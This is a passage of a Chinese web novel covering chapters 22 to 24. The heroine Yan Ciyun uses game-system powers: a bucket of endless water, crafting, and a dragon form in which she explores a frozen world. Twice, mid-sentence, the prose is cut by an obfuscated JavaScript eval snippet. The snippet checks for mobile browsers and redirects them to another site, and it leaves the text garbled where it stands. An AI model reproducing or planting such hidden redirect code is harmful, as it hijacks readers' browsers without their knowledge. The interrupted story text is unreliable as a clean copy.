颜辞云瞧了半天，没有感到危险，用木棍戳了戳后也没有见到什么异变，于是便大着胆子把手探进“雪”里搅了搅。 嗯，就是雪的触感。 颜辞云撇嘴：无聊。 还以为是什么怪东西呢。 倒了倒了。 颜辞云把桶一推，下一秒，就见到清澈透明的水如小溪一般从木桶口处汩汩流出。 “嗯？” 不是雪吗？怎么变成水了？ 颜辞云把木桶捞起来，低头一看：没错，是雪啊！ 颜辞云又一尾巴把木桶抽倒，下一秒，滚烫的开水从木桶哗啦啦流出。 “啊？” 颜辞云扶起木桶，低头再看一眼： 就是雪啊！没错啊！！ 再推。 冷水。 能喝，甚至有井水的清甜口感！ 起，再再推。 热水。 也能喝，只要不怕烫。 颜辞云把木桶推推起起，起起又推推，发现这木桶里的水不知道为什么，不但无缝在冷热水间交替，更是怎么都倒不完！ 颜辞云盯着面前这只平平无奇的木桶，以及木桶里没有半点下降的“灰雪”，懵了好一会儿： 好嘛，这是实现用水自由的同时还实现了热水器自由？ 这哪里是什么木桶？ 这根本就是自来水厂和无功耗热水器结合体啊！ 难怪一个木桶提不起来小小的一捧“雪”，这种“雪”谁能提得起来？ 所以——【炁】到底是什么？ 颜辞云：系统，上吧，就决定是你了！ 【炁：一种能量】 【用途：待探索】 颜辞云：“……” 颜辞云决定放过自己。 她把物品栏里【装满水的木桶】又拿出一只，倒掉水，装上【炁】，再塞回物品栏。 这样一来，物品栏里就有【装满炁的木桶】X2了。 颜辞云心中有些雀跃，开始畅想未来：“如果……【装满炁的木桶】真的能够一直存在，并顺利使用的话……” 颜辞云心里有点期待自己真的实现用水自由和热水器自由的那一天。 虽然打水这种事，对化身超人的颜辞云来说并不困难，可既然人能方便地活着，谁又愿意搞得麻烦呢？ 河里的水和水龙头里的水，自己生火烧水和热水器里的水——孰优孰劣，难道还需要思考吗？ 但，期待归期待，颜辞云倒也没有过多把希望寄托在这种自己完全搞不明白的东西上。 毕竟人对于未知，总是有不信任感的。 就好比说，当颜辞云在穿越后，假如拿到的是一个运行规则完全陌生的系统，她当然也会有相当沉重的心理包袱和忐忑难安。 也就是【我XX界】和【X荒】这两款游戏对颜辞云来说实在是太熟悉了，熟悉到不用脑瓜都知道该怎么上手，这才让失忆又穿越的颜辞云安心非常，完全没有生出过不安的情绪。 “总之，船到桥头自然直！” 对于未来，颜辞云心怀乐观，鼓励自己： “只要肯花心思，就一定会越来越好的！” · 天空红蓝交织的异象，足足持续了三天。 直到三天后，天空才终于恢复平静，褪去所有的异常颜色。 而颜辞云和小白，也在这三天里把龙种力场的底部逛了逛，并美美啃了三天龙肉了。 颜辞云发现，小白是真的很像她，像到让她怀疑小白是否真的是她亲生的地步了。 比如说吃龙肉的时候，颜辞云无论用什么工具都没办法将龙肉切割，反而是牙齿能够轻易咬开。 小白也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14475603|152846||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是这样。 最初见到龙肉时，小白两眼放光，下意识用爪子去扒拉——但没用。 直到小白恼了，啊呜一口啃在龙肉上，这才成功吃上了龙。 又比如说变形。 颜辞云曾经因小白的变形能力感到十分震惊，怀疑这个卖萌撒娇的毛茸茸到底是生物还是非生物。 可后来颜辞云反应过来了：变形这个能力，自己也有啊！ 虽然跟小白一看就能上手的变形不同，而是要多经过【摄形】这一步骤，可多一步骤难道就不是变形了吗？ 甚至颜辞云还发现，她还能变成非生命体！ 颜辞云原本没想过自己有这个能力，是因为她吃过许许多多的野果，却也没见技能栏里的【摄形】显示过进度条。 但当颜辞云在龙种力场里四处闲逛，意外吞下一颗珍珠后，颜辞云心念一动，突然明白了一件事： 只要自己将某样物品完全吞下，自己就能直接变形为那个物品！ 颜辞云之前没法变成野果，是因为她吃野果时从来不吃核也不吃皮。 甚至，颜辞云之所以在吃了那么多蛇后【蛇形】等级还只有lv1，也正是因为颜辞云吃的每一条蛇都没有蛇头和内脏。 假若颜辞云现在完整地吞下一条蛇——包括蛇头、蛇牙、蛇身，以及蛇的毒腺、内脏、骨头，所有有关蛇的一切——颜辞云的【蛇形】技能就会瞬间升满，获得全身变为蛇形的能力，而不是像现在这样的半人半蛇。 颜辞云：“呃，话说回来，其实我也不是那么急着要升级……” 意外搞清楚了【摄形】的真正用法后，颜辞云开心，但也没太开心，抱着小白，继续在力场的底部闲逛、捡垃圾。 别说，收获还挺不错的。 除了之前意外吞掉的珍珠之外，颜辞云还捡到了各种奇形怪状的海鱼——丢进空桶晚上加餐；捡到了漂亮的珊瑚——丢进空桶用来当装饰物；还有捡到了许多漂亮石头——丢进空桶当装饰……咦？ 颜辞云定睛一看，发现装漂亮石头的木桶丢进物品栏后，名称变了： 【装满矿石的木桶】 矿石？ 等会儿你说这是什么？ 是她挖了这么久地道都没见一块的矿石？！ 颜辞云震惊放出木桶，拿起一块形状漂亮的鹅卵石收进物品栏。 【黄金】 不是，这叫黄金？？ 她瞎了？ 颜辞云把鹅卵石拿出来一瞧，发现此刻“鹅卵石”竟已被剥开外头包裹的厚重石质，露出了内里灿烂的金！ ——真的是黄金！ 颜辞云目瞪口呆，拿起第二块“鹅卵石”塞进物品栏。 【铁】 颜辞云：好嘛，挖矿挖不出的铁，捡垃圾出是吧？ 第三块。 【钻石】 颜辞云：啊？钻石是能在海底捡到的吗？ 第五块。 【红宝石】 颜辞云：红宝石也能捡到？ 第八块。 【翡翠】 颜辞云：竟然连翡翠也……算了。 第十二块。 【青金石】 颜辞云：哦，染料/附魔材料到手了。 第三十四块。 【息土】 颜辞云：原来是土啊，海底能捡到土也不奇怪……嗯？等等？ 息土？这个东西怎么听起来有点耳熟？ 难道是稀土矿物？ 还是某种做陶瓷的土？ 颜辞云把【息土】拿出来，放在掌中，仔细查看，但没看出它与普通的土壤有什么区别。 除了…… 除了感觉它像活的？ 颜辞云眉头微皱，心中微妙。 不过还好，这样的感觉只有一点点，并且是非常微弱的一点点，也没有任何危险的预兆，所以此刻的颜辞云还能镇定托着这团疑似活物的泥土观察，而不是大喝一声丢地上当蟑螂踩死。 颜辞云稍作沉吟，眼见自己靠肉眼实在观察不出什么，便果断让系统的鉴定功能再次上线。 【息土：无限之土】 【用途：令种在此土上的种子无限生长】 颜辞云琢磨了一下，恍然大悟：也就是说，种在息土上的种子，不需要施肥也不需要浇水。 就升级版的土地照料器呗。 只不过，这么一小撮土，它能干啥？能种多少种子？ 鸡肋啊！ 颜辞云想着，随手把息土塞进装杂物的木桶，继续在海底捡垃圾。 22. 第22章 云从龙 三天的时间一晃而过。 当颜辞云的【龙形】都升级到了lv3后，外头的动静终于停歇了。 而随着不安的红色和冷彻的蓝色接连在天空消散，龙种力场两侧原本在“煤灰”和“白雪”之间不断交替的不明灰色物质——系统说那是【炁】——终于也彻底稳固下来，化作寒冰。 颜辞云上手试了一下，发现自己确实用石镐敲出了【冰块】这个素材。 “看来换季确实结束了……” 颜辞云沉吟。 “既然如此……现在我是不是可以出去了？” 在海底捡垃圾虽然收获颇丰，但颜辞云实在挂念自己刚建好没多久的小家。 而且，颜辞云也的确非常好奇异世界的冬季是什么样的，好奇如今的外界是怎么个情况。 于是，颜辞云又静静等待了几小时，见天空的红蓝二色没有卷土重来的意思后，便拿出镐子，活力满满地干起了自己的老本行： 挖地道！ 从万米深的海底，挖出一条通向海面的通道！ 挖地道的第一个小时，颜辞云的行动非常顺利。 但在进入第二个小时后，颜辞云遇到了一个重大难题：她手上的石镐，用完了！ 由于颜辞云的安全屋就建在石原，【原石块】几乎是垂手可取，所以颜辞云压根没在自己的物品栏里放置多少【原石块】。 换而言之，颜辞云现在做不出石镐了！ 如今，颜辞云物品栏里能做【镐子】这一工具的，只剩下【原木块】、【黄金】、【钻石】这三样材料。 按理来说，【黄金】和【钻石】都是非常适合制作高级系统工具。 如果颜辞云此刻用它们做成黄金镐或者钻石镐来凿冰，想来它们开路的速度一定不俗。 可好钢要用在刀刃上，颜辞云这会儿又不是在搞生死时速，做什么要拿黄金镐或者钻石镐来凿冰？ 简直是暴殄天物！ 而至于【原木块】制作而成的木镐？ 也不合适。 理由很简单，木镐耐久度太低了，区区20点耐久度，凿不了三立方米的冰块，就会坏掉。 而三天前，颜辞云又曾经亲眼看到海岸边的原始森林燃起大火，想来经过那场大火后，现在的原始森林已十不存一，所以，接下来的这段时间，除非颜辞云找到新的木头来源，否则她手里的【原木块】都是用一个少一个的。 这也舍不得那也不舍得，思来想去，颜辞云心一横，干脆不再求助于系统工具，而是掏出自己万能的长镰刀——想了想，塞回去，换成玩家的初始工具之二，一柄手掌大小的小锤子——全力挥动，开始砸冰。 好消息之一，小锤子体型虽小，威力却半点不差。在不考虑掉落的素材时，它开路的速度远比石镐更快！ 好消息之二，小锤子和长镰刀一样，都没有耐久度。在没有别的材料可霍霍的情况下，它绝对是穷鬼臻选！ 好消息之三，在全力挥动小锤子的情况下，颜辞云饿得极快，三小时就回了两趟龙种力场、多吃了两顿龙肉，以致于凿成通道后，颜辞云的【龙形】甚至一口气升到了lv5！ 哇，竟然全是好消息！ 终于，在天黑前，颜辞云成功从万米深的海底凿出一条通向冰原的通道。 但，这竟然还不是结束！ 颜辞云开出的通道口，离海岸仍有一段不短的距离，想要上岸的话，还需要通过一段距离不短的冰原。 可偏偏，颜辞云那条在地面和海里都移速颇快的蛇尾，在冰原上却称得上是寸步难行。 所以，颜辞云莫非要变回人形靠双脚走回去吗？ 在这个冰天雪地里？ 在一件保暖衣物都没有的前提下？ 只是稍稍一想，颜辞云就忍不住打了个冷战，觉得这个选择简直傻得没边。 那么…… 变成龙形怎么样？ 说起来，颜辞云虽然在这几天里将【龙形】猛猛升到lv5，可事实上，除了第一次获取到【龙形】之外，颜辞云还没怎么使用过这个形态呢！ 在冰原上，【龙形】会比【蛇形】更方便吗？ 值得一试。 颜辞云长长吐了口气，收起手上的锤子，把趴在她脑袋的小白暂时放在冰面上，闭上眼，开始转换形态。 颜辞云其实并没有怎么试过自己的这个能力。 在绝大部分时间里，颜辞云都保持着半人半蛇的形态，对自己的龙形形态可谓是陌生至极。 可就像婴儿天生会游泳、会呼吸、会哭泣、会吮吸一样，颜辞云惊讶发现，自己竟好像“天生”就懂得如何使用自己的龙形。 颜辞云感到，自己原本仅有五米长的身形，正不断拉长，不断升高。 像是一颗茁壮成长的巨木，又像是展翅高飞的巨鹰！ 颜辞云忍不住睁开了眼。 她看到，自己原本属于人类女性个体的手臂开始膨胀，只不过短短三个呼吸的时间，就变得比冰原上开凿出的冰道还要庞大、粗壮，一片片细密坚硬如钢铁的鱼鳞覆盖而上。 她还看到，自己原本就足够长了的蛇尾变得更长了，并且视线还在不断拉高，令原本还算大猫咪的小白在她眼里竟像是蚂蚁一样渺小，紧接着，在她疑似“膝盖”的位置上，更是生出了两只鹰一样的爪子！ 这爪子不长，如同装饰物，就好似它们的存在并非是为了行走。 ——可既然不是为了行走，那是为了什么？ 几乎在这个念头升起的瞬间，颜辞云就感到自己脚下一轻！ 分明此刻，颜辞云的身体足有五十米长，体型庞大沉重近乎笨拙，可偏偏，她脚下轻飘飘的，只是心念一动，那有生以来就一直束缚着她的重力锁链，竟就这样被她挣脱。 然后—— 颜辞云飞了起来。 是的，她竟然就这样飞了起来！ 这一刻，颜辞云仰头望去，只见天空，那浩渺无垠的、凡人穷极一生都难以触及的穹顶，于她而言却如同亭台旁轻垂的细软幔帐一般，触手可及。 而当颜辞云低头望向大地时，她看到了一个万里冰封的世界，看到了烧成废墟的原始森林，也看到了被她选作安全基地的石原。 然而，那些曾经让颜辞云认为庞大的一切——无论是那座让颜辞云狂奔了三天三夜才挨着边缘处穿越而过的原始森林，还是那座曾让颜辞云望不到边际的巨大石原，甚至是远方贯穿天地的雷山，甚至是这一整个世界，都显得如此渺小。 石原大吗？ 或许是大的。 连绵起伏的石山，无边无际的石原。 以颜辞云的蛇形，想要从石原这一头完全来到另一头，非得毫不停歇地狂奔上十天十夜才行。 可如今，颜辞云只是轻轻摆尾，就越过石原，而石原上的风，甚至都不曾被她惊动。 雷山远吗？ 远，当然是远的。 自穿越之始，颜辞云就看到雷山耸立于远方，而之后，无论颜辞云是进入到原始森林里、来到旷野石原上，又或者是站在大海的尽头，那座雷山永远伫立于原地。 它永远那样大，就好像颜辞云的与它的距离从没有远过，更没有近过。 可现在，颜辞云很清楚地感受到，最多一个小时，自己就能飞到雷山山脚，去见一见那坠落旷野的蓝色晶石，去探一探雷山尽头是否真的直通天庭！ 世界在这一刻，如此渺小，如此狭窄，如此……微不足道。 而与之相对的，颜辞云却变得如此庞然，如此伟岸，如此高不可攀，就好像只要她想，她就能轻而易举挣脱眼下的所有一切，化作一条真正的神龙—— 坐视四海超八荒！ 风从虎，云从龙！ 这就是龙，这就是云之龙啊！ 无限拔高的视野，无尽膨胀的力量。 呼啸的冷风中，有那么一瞬间，颜辞云几乎想要大笑起来，为了这飘飘欲仙的超脱感。 但很快的，颜辞云想到了被她放在冰原上巴巴看着她的小猫咪，想到了石原下刚刚建好没多久的基地，想到基地石壁上那些被她亲手贴上的发光苔藓，还想到了小花园里种下后向她小声抱怨冷的种子…… 颜辞云眨了眨眼，又眨了眨眼。 五个呼吸后，她从空中降落，向不知道为什么变得超兴奋的小白伸出爪子。 颜辞云没有说话，而小白这个小朋友也不需要家长多说什么，兴奋地扒拉着颜辞云的鳞片，像一只猫猫虫一样爬上颜辞云的脑袋，一屁股坐在颜辞云头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14480527|152846||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上。 颜辞云：“……” 这小坏蛋总喜欢坐脑袋怎么回事？ 真·蹬鼻子上脸，是吧！ 颜辞云果断把脑袋上的小家伙甩到爪子上，轻轻一握，把这小毛茸茸固定住，不叫它乱动。 接着，颜辞云心念一动，身形瞬间穿越冰原，来到石原的上空，骤如狂风降下，在落地的瞬间化身蛇形。 她的胳膊稳稳夹住小白，在安全基地的入口处站定，怀着微渺的希望，探头下望。 片刻后，看清了地下基地模样的颜辞云，不由得叹气，神色无奈：“唉……怎么说呢……果然不行吗？” 非常奇妙的。 即便隔壁的原始森林经过狂风暴雨般的摧残，在短短三天时间里就被焚烧成了一地废墟，可仅有一河之隔的石原这边，一切却都是好好的。 没有火灾，也没有焚烧，更没有废墟。 一切的一切，似乎都与颜辞云离开前没有任何区别。 只除了生命。 是的，除了生命——那些被颜辞云一寸寸贴上石壁的发光苔藓，那些被颜辞云亲手种下的种子，那些正生根发芽准备茁壮成长的浆果从。 除了这些被颜辞云精心收集、又进行转移到石原地底的生命之外，这个地底的小基地里，一切如常。 而也是直到这一刻，颜辞云才终于明白，为什么这片石原没有任何生命。 因为没有任何生命能在这样天翻地覆的“换季”里存活下来。 但，隔壁的森林又是怎么回事？ 想到这里，颜辞云转头，目光越过冰河，看向数百米外的原始森林。 如果说，每次“换季”后，隔壁的森林都会像石原一样，被毁去所有的生命，那除非这个世界一百多年换一次季，否则，世上又怎么会有那样巨大的森林长成？ 颜辞云皱眉思考片刻，没想明白。 于是颜辞云决定暂时不要去想。 毕竟，颜辞云未来要在这个世界待的日子，还长着呢！ 总有一天，她会知道这个世界的运行规则，知道这个世界所有的奥秘与至理。 是的，绝对有那一天的！ 回过神来，颜辞云拍了拍胳膊上的小猫头，说道：“小白，看来啊，这里依然不是适合我们建立安全基地的地方……我们得找一个新家了！” 颜辞云需要一个更好的、更适合种地或者说适合长期发展的安全基地。 那里需要有丰富的矿物资源与生物资源、干净可循环利用的水资源，以及不会因换季就毁于一旦的土地资源。 那里应该是一个和颜辞云选址的石原基地差不多，但要更好、更大、更宽阔、更稳定的地方！ 恰好，lv5等级的龙形让颜辞云的行动力飙升到了一个可怕的地步。 颜辞云甚至怀疑，在自己的全力飞行下，她或许一天就能绕着这个世界飞上一圈！ 而既然距离已经不成问题，那颜辞云的基地可选范围，自然也变得广阔丰富起来。 因此，颜辞云思考了一下，决定不急着建立安全基地，而是多花点时间，探索一下周边的世界，看看这个异世界到底是什么模样的，有什么生物资源产出。 最好，找一找附近有没有智慧生物或者文明什么的。 如果颜辞云能顺利混进智慧生物的文明与族群里，或者找到跟智慧生物族群和平交易的办法，想来颜辞云接下来的异世界生活水平还能提高不止一个档次。 而有文明存在的地方，想来就是适合建家的地方——这可比颜辞云像仓鼠一样满地打洞来得可靠！ 至于怎么跟异世界生物和异世界文明沟通，怎么与他们和平共处，怎么与他们交易……呃，颜辞云相信总会有办法的。 只要思想不滑坡，办法总比困难多。 加油！ 暗暗给自己鼓气后，颜辞云回到石原基地，用蛛丝将基地里储物箱拿出、捆好，带到地面后，摇身一变，再度化身庞然龙形。 她一手捉着小猫咪，一手提着储物箱，飞到天空，环首四顾，眯眼看了看，思忖： 那么，接下来，就以海底龙尸为圆心，先探索一下—— 颜辞云一顿，默默算了算。 ——探索一下方圆十万里的地形吧！ 23、第23章 惊雷 在穿越异世界的十天后——就暂且当作十天吧——颜辞云大胆踏上了探索世界的旅途。 说实话，这有点出乎颜辞云的预期，是穿越之初的颜辞云想都不敢想的事。 因为在颜辞云心中，她一直是一个比较稳健的人。 比如说，在选择自己的初始技能的时候，颜辞云没有被那些玄乎的能力迷花眼，第一时间选择了绝不会吃坏肚子的保命神技【吞噬】； 比如说，在给自己的第一个安全基地定址的时候，颜辞云没有为风景秀丽的林中小湖做半点停留，坚定不移地将基地建在石原地下； 比如说，在有一定能力之后，颜辞云完全没有被森林里丰富的食物资源所迷惑，坚定选择用种地的方式扩大获取食物的来源。 哪怕以上的三个选择中，有两个选择都因这天翻地覆的“换季”而泡汤了。 但这完全是不可抗力，哪里能苛责颜辞云呢？ 所以，颜辞云觉得，她就是一个谨慎稳健的人。 而如今，颜辞云之所以在穿越异世界的区区十天后，就大胆踏上探索世界的旅途，其根本的指导精神，其实还是谨慎和稳健—— 因为必须要探明这个世界的上限与下限、给自己建立一条趋利避害的准绳； 因为必须要找到足够适合的地方，建起属于自己的真正有用的安全基地； 因为颜辞云不可能靠海底龙尸吃一辈子，而必须从这个世界学会真正的狩猎，等。 总而言之，为了能更谨慎稳健地活下去，颜辞云决定大胆探索世界。 没毛病！ 而颜辞云探索世界的第一站，当然就是颜辞云降落异界后的第一站—— 那片寸草不生的荒野。 当初，因为天快黑了，急于寻找庇护所的颜辞云基本没有仔细打量过那片荒野的模样。 之后，颜辞云进入了原始森林，被异兽战斗吸引，又花了三天两夜穿过森林边缘，来到海边，彻底远离了最初的荒野。 而如今，颜辞云化身为龙，从海边出发，向荒野回返，却只用了不到五分钟时间。 ——这是何等天翻地覆的变化啊！ 而这一切的变化，仅仅只隔了十天！ 只是稍稍一想，颜辞云就不由得生出了时移世易、三十年河东三十年河西的唏嘘感。 唯一可惜的是这里没有npc能听她大喊一声“莫欺少年穷”。 颜辞云啧了一声，回过神来，从空中俯瞰荒野。 此刻，颜辞云身下的荒野，早已模样剧变！ 颜辞云记得很清楚，自三天前，冰寒的蓝焰从天而降，雷山上的那片雷云就被瞬间冻结，化作蓝冰，从天而降，砸落在这片荒原中。 失忆的颜辞云其实真不知道雷云能不能被直接冻结，更不知道它们化作蓝冰从空中坠落是否算正常的物理现象。 她只觉得那一幕非常像是一群不讲武德的飞机结伴过来丢排泄物。 ——这奇特联想让颜辞云有点恶心，又有点微妙的亲切。 总之，在颜辞云的预期中，她以为自己来到这儿后会看到荒野上有一块块蓝冰伫立，锐利而冰寒的尖刺直指天空，营造出一片凄冷绝艳的寒冰地狱。 可事实上，颜辞云只看到了荒野中大大小小的陨坑，和陨坑里蹦蹦跳跳的……蓝色长角兔子？ “真的假的？” 颜辞云喃喃。 “这些兔子哪儿来的？” 是因为它们本就是居住在荒野地底的生物，在换季时被从天而降的蓝冰砸坏了巢穴，这才不得不来到地面？ ——这是比较“科学”的解释。 而“不科学”的解释是：这些奇特的蓝色长角兔子，是否正是那一团团蓝冰落地后化身而成的生命？ 不确定，再看看。 颜辞云没有立即降落，而是离开荒野，去了更远一些的地方。 比如说在荒野的西部、更靠近雷山一些的地方，颜辞云发现了一片新的地形：草原。 非常反直觉的一点是，明明草原比起森林来说离雷山更近，也离那片能够焚山煮海的“红水”更近，可当森林都被烧成灰烬后，草原却依然完整。 颜辞云转了一圈，愣是没见着这草原有哪儿被火烧过。 “草原火抗这么高的吗？” 就像荒野一样，这片草原也被那堆蓝冰砸了许多坑，并且也同样没有在陨坑里找到“蓝冰”的存在。 但不同于荒野中的“蓝色长毛兔子”，在草原陨坑里徘徊的，却是一群群紫色鬣狗。 “嗯？” 颜辞云敏锐察觉要素：又是“蓝”又是“紫”，这两种颜色应该都不是自然界中常见的颜色才对吧？ 为什么如今它们却成群结队地出现？ 颜辞云又是惊讶，又是新奇，很快就把荒野附近的几个新地形——沙漠、湖泊群系、裂谷等，都跑了一遍。 坏消息是，这些地形虽然都被蓝冰砸过，但却都没有半块蓝冰留存于世。 好消息是，在蓝冰砸出的陨坑里，无一例外都出现了两种生物：蓝色长角兔，紫毛鬣狗。 这也就代表着，这两种奇特生物真的与蓝冰有关，并且在找不到蓝冰的情况下，研究这两种生物就是颜辞云的最佳选择！ 颜辞云这样想着，便也这样上了。 啪！ 吱！ 啪！ 嗷！ 颜辞云用爪子拍死了几只，又用蛛网活捉了几只，最后再把这些战利品拢做一堆，仔细研究。 首先，是这两种动物的生物习性。 兔子真的很兔子，鬣狗也真的很鬣狗。 前者平日里四处打洞，受到攻击后的第一反应是惊慌四窜，被逼到绝地时则会做最后一搏； 后者成群结队，在其首领的带领下四处狩猎，遇到不可抗的敌人（颜辞云的龙形态）时会远远退避，而遇到能打过的敌人（颜辞云的蛇形态）时则会主动出击，甚至还经常会抢夺其他肉食动物所捕获的猎物。 跟颜辞云记忆中的兔子和鬣狗似乎没什么差别。 甚至，当颜辞云将它们当作普通生物那样剥皮吃肉后，颜辞云的技能栏【摄形】下，也顺利出现了【兔形】与【犬形】的进度条。 ——如果不是颜辞云提前知道了蓝毛长角兔和紫毛鬣狗很可能是“蓝冰”带来的，颜辞云真是打死也想不到这两种生物有问题！ 之后，颜辞云又试着把蓝毛兔和紫毛狗剥下的皮子放上制作台。 【2兔皮+1树枝=1兔毛帽】 颜辞云取出兔毛帽一瞧，发现这根本就是以一根韧性树枝为支撑和链接的护耳罩！ 耳罩就耳罩，叫什么兔毛帽啊！ 而且，明明颜辞云丢进制作台的是两块体积不小的兔皮，可出来后的“兔毛帽”，却只剩下耳朵部位两个巴掌大小的毛圈。 从这一点来看，系统制作台似乎有点儿坑人了。 然而，当颜辞云上手摸了摸兔毛帽后，她却意外发现，这两个“耳罩”竟出乎意料地柔软、顺滑、暖和。 颜辞云此刻明明只是将手按在那细软的绒毛上，却感到自己仿佛整个人被丢进了懒人沙发里一样，绵软、贴合、令人无限放松的触感涌上，几乎都要让颜辞云生出夏日午后的困意了。 ——这么神奇的吗？ 颜辞云变回蛇形，好奇把将兔毛帽戴在头上。 在那蓝色绒毛笼罩在耳朵上的瞬间，颜辞云惊讶感到，有一股神奇的暖意瞬间涌上，从小小的护耳罩迅速蔓延至四肢百骸，让颜辞云如蛇一样冰冷的皮肤都开始回温。 【兔毛帽：提供60点保暖，1点水属性抗性】 颜辞云若有所思：“所以，这个兔毛帽可以强制将使用者的体温固定在一定温度？” 有点奇怪，还有点好玩！ 不过，这兔毛帽放箱子里就有点儿占格子了，丢掉则又很浪费。 颜辞云干脆取下兔毛帽，随手挂在了小白的脖子上，把这有趣的小道具扔给了自家小朋友玩。 接着，颜辞云又把紫毛鬣狗身上扒下的皮子丢进制作台，很快得到了新的合成配方。 【8鬣狗皮=1皮革胸甲】 【7鬣狗皮=1皮革护腿】 【4鬣狗皮=1皮革靴子】 颜辞云看着这合成表，有些无语。 一只鬣狗才只有一张鬣狗皮，而一个皮胸甲就要8张鬣狗皮。 这出货率是不是有点儿低了？ ……算了，好不容易试出来的合成配方，做一个看看吧。 颜辞云化身龙形，把附近的紫毛鬣狗一网打尽，统统扒下皮丢进制作台里。 于是很快的，颜辞云得到如下物品。 【皮革胸甲（雷）：提供4点护甲值，4点雷属性抗性】 【皮革护腿（雷）：提供3点护甲值，3点雷属性抗性】 【皮革靴子（雷）：提供1.5点护甲值，1.5点雷属性抗性】 皮革套装出乎意料地不错，不仅不像颜辞云想的那样寒碜，反而穿起来非常舒服、看起来十分时尚。 除了没有保暖值，不能支撑颜辞云以人类形态穿上它们在这个世界行走之外，几乎没有缺点。 但是，除此之外，颜辞云还注意到了另一件事： 属性抗性？ 蓝色兔皮做出的兔毛帽，有水属性抗性，紫色鬣狗皮做出的皮革套甲，有雷属性抗性。 这说明什么？ 颜辞云看了看手里的成品，又看了看被蛛网困住汪汪大叫的鬣狗，最后目光落在了蓝毛兔头上那只小巧的、似乎纯粹作为装饰品而存在的长角上。 颜辞云不发一言，把地上吃完兔子后丢弃的长角拾起，一只一只放进系统制作台。 而当颜辞云将制作台的九个格子都填满后，新的合成配方出现！ 【9兔角=1引雷角】 颜辞云把【引雷角】这一全新物品从制作台拿在手上，仔细打量，发现仅从外形上来看，它与普通的牛角没什么两样。 但…… 凝固的雷云。 消失的雷声。 以及这只名为【引雷角】的物品…… 颜辞云默不作声，继续尝试。 只不过，当颜辞云扫荡了附近的蓝毛兔子，合成了整整九只【引雷角】，并将它们都填入系统制作台的格子后，试图继续升级时，颜辞云却没有解锁新的配方。 颜辞云想，自己或许尝试的方向出了错。 于是，很快的，颜辞云转换思路，发挥想象，尝试着把【引雷角】和其它物品一块儿合成。 引雷角像什么？ 像牛角。 还像什么？ 像……矛！ 像枪！ 像武器！ 于是，颜辞云飞快把【1引雷角】和【2木棍】放入系统制作台，试图做出新武器。 但，失败了。 制作台没有出现新物品，想来是缺了点什么。 颜辞云思考了一会儿，又将蜘蛛女王出品的高品质蛛丝放入制作台的格子，充当缠绕物。 依然没有成功。 “还差一点，”颜辞云喃喃自语，“应该还是差一点东西……” 但，差一点什么？ “是——是——对了！是【雷】！” 蓦地，颜辞云想到皮革套装，眼前一亮，脑中灵光闪过。 “还需要更多的【雷】！” 颜辞云迫不及待，又放入了两个引雷角。 于是—— 【3引雷角+2木棍+1蛛丝】 得到—— 【惊雷枪】！ 成功了！ 她竟然真的成功了！ 颜辞云心脏怦怦狂跳，整个人都被巨大的惊喜笼罩。 她毫不犹豫，将惊雷枪从系统制作台取出，拿在手中，重重顿地。 轰隆！ 这一瞬，乌云堆积，电光狂闪，雷霆涌动！ 那消失了整整三天的雷声与雷云，于此刻重回人间！ 24、第24章 邪龙噬雷 此刻，正值黄昏。 从颜辞云身处的裂谷向外望去，可以看到冬天黄昏的天空，就像是泡皱发黄、怎么都洗不干净的衣领，透着一股难言的疲倦与暮气。 然而，当雷声响起时，浓郁的乌云在云层瞬间聚拢，毫不客气地挤开天空的皑皑暮气！ 它们如此生动，近乎鲜活，张开它们黑色的爪牙，肆无忌惮地向四周蔓延。 沉闷雷声在云层中时不时发出轰响，蓦地，还有白中透紫的雷光如龙翻涌！ 呼风唤雨，聚云成雷！ 这就是惊雷枪？ 银白的枪杆，百炼的枪刃。 从外观上来说，没有人能看得出来这柄威风凛凛的长枪竟然是由兔角、木棍和蛛丝拼接而成的！ 颜辞云拿起自己的漂亮玩具，手掌在惊雷枪上轻轻拂过，感到有触电一般的轻微酥麻从指尖传来。 有点儿痒，有点儿麻。 就好像这把武器正用它自己的方式在反抗、在昭示它绝不是能被随意掌控的武器！ 但，皮糙肉厚的颜辞云只是把惊雷枪拿在手里，如丢烫红薯一样左手右手扔了两遍后，就熟悉了这种感觉。 颜辞云：小小武器，可笑可笑。 拿捏。 新玩具到手，颜辞云便也懒得收拾地上那堆碎肉碎骨了，随口叮嘱小白在这里等一会儿，就一个人游出裂谷，准备好好耍耍，不，好好探索一下新道具的使用方法。 颜辞云此刻身处的裂谷，是一片鲜艳的花海。 哪怕随着冬天的到来，大部分的花儿都在大雪和严寒下凋谢了，但耐寒的花朵依然不少。 它们随处可见，两三成群，挤挤挨挨，点缀着颜辞云离开的路，也排挤着其他植物的到来。 从实用性来说，这个被花海挤得没有可食用作物落脚的裂谷几乎一无是处，但从观赏性来说，它还是非常不错的。 而且，和这个野蛮生长、半点不讲物理和道理的异世界一样，这里的花儿可绝对称不上柔弱。 就比如说路边上那看起来像蓝色绣球花的花枝。 别看它枝条纤细，花瓣柔软，但颜辞云就曾把它折下来当鞭子抽死过一群鬣狗。 没错，不是一只，而是一群。 裂谷里的鬣狗群死光了，这花枝上的花瓣都没掉两片，由此可见这异世界的花有多么不讲道理。 颜辞云随手折下这蓝色枝条，也懒得摘去上头的尖刺，直接用它当作簪子，将自己的长发挽好固定，再来到附近的小溪边照了照。 嘻嘻，好看。 可算是脱离了披头散发的疯婆子形象了。 